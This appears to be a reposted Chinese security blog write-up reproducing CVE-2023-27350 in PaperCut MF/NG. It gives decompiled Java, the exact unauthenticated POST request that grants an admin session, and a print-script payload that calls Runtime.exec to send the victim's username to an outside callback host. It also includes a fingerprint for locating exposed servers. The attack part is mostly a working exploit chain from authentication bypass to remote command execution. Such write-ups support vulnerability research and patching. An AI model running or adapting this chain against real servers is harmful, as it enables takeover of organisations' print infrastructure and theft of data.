PaperCut MF SetupCompleted 远程命令执行漏洞 CVE-2023-27350
2023-5-2 13:50:47 Author: mp.weixin.qq.com(查看原文) 阅读量:4 收藏

漏洞描述

PaperCut MF NG 中 SetupCompleted接口中存在未授权访问漏洞,攻击者通过漏洞可以获取后台管理员权限,通过配置脚本JAVA扩展类,可以达到远程命令执行控制服务器

漏洞影响

PaperCut MF PaperCut NG

网络测绘

"papercut"

漏洞复现

登陆页面

反编译 pcng-server-web-22.0.4.jar,可以看到登陆时验证方法位于

biz/papercut/pcng/web/pages/Home.class

其中含有 Google microsoft 等多种方法登陆,统一使用 performLogin 方法进行用户权限验证

public Boolean performLogin(String username, @Nullable LoginType preferredLoginType, boolean sso) {
        return (Boolean)this.transactionHelper.runInTransaction(() -> {
            LoginType loginType = this.deriveLoginType(username, preferredLoginType);
            if (loginType != null) {
                AccessRightList accessRights = this.authenticationManager.getUserRights(username);
                accessRights = this.deriveAccessRights(loginType, accessRights);
                return this.loginUser(username, accessRights, loginType, sso);
            } else {
                this.applicationLogManager.logWarn(this.getClass(), "Home.UserLoginFailureUnknownUser", new String[]{username});
                this.setErrorMessage(this.getMessage("LOGIN_DENIED_UNKNOWN_USER"));
                return false;
            }
        });
    }

最后走到 loginUser方法中,根据用户登陆权限重定向到用户页面

漏洞出现在用户设备配置页面处,其中可以看到调用的方法也是 performLogin

public void formSubmit(IRequestCycle cycle) {
        SetupData setupData = this.getSetupData();
        this.getAnalyticsConfigurationService().setEnabled(this.isAnalyticsEnabled());
        this.getAnalyticsConfigurationService().adminNotified();
        this.clearSetupData();
        Home homePage = (Home)cycle.getPage("Home");
        homePage.setJavaScriptEnabled(this.isJavaScriptEnabled());
        homePage.performLogin(setupData.getAdminUserName(), LoginType.Admin, false);
    }
biz/papercut/pcng/web/setup/SetupCompleted.class

主要注意这一部分代码的参数, 代表登陆的权限

homePage.performLogin(setupData.getAdminUserName(), LoginType.Admin, false);

private String _adminUserName = "admin";

public String getAdminUserName() {
        return this._adminUserName;
    }

这里固定的登陆权限为 Admin管理员权限,通过调用这个方法就可以获取管理员的后台权限

/app?service=page/SetupCompleted
POST /app
Cookie: JSESSIONID=xxx

service=direct/1/SetupCompleted/$Form&sp=S0&Form0=$Hidden,analyticsEnabled,$Submit&$Hidden=true&$Submit=登录

发送请求后就会302跳转到管理员用户页面,对应的请求调用页面也就是第一次配置的请求页面,点击登陆提交请求就可以通过调用方法 performLogin 以管理员权限登陆

在后台中存在脚本调用方法,根据官网配置打开扩展的 Java 类

https://www.papercut.com/kb/Main/EnablingPrintScriptingDeviceScripting#using-extended-java-classes-in-scripts

再通过打印机的脚本编写就可以达到组合RCE

function printJobHook(inputs, actions) {}
java.lang.Runtime.getRuntime().exec('cmd.exe /C ping %USERNAME%.cgvpkz72vtc0000ge0eggep5j9oyyyyyb.oast.fun');

关注公众号

下面就是文库的公众号啦,更新的文章都会在第一时间推送在交流群和公众号
想要加入交流群的师傅公众号点击交流群找WgpsecBot机器人拉你啦~

支持作者

关于文库

在线文库: https://wiki.peiqi.tech (暂时关闭个人用户使用)
Github: https://github.com/PeiQi0/PeiQi-WIKI-Book 

文库动态


文章来源: https://mp.weixin.qq.com/s?__biz=Mzg3NDU2MTg0Ng==&mid=2247493790&idx=1&sn=c6eb7b7480638b11e5fc7405aaed44bb&chksm=cecc40c7f9bbc9d1f2dbc8979be06b8291b2b109c21fc0116ca844ebba2a884b016c94e48f78&scene=58&subscene=0#rd
如有侵权请联系:admin#unsafe.sh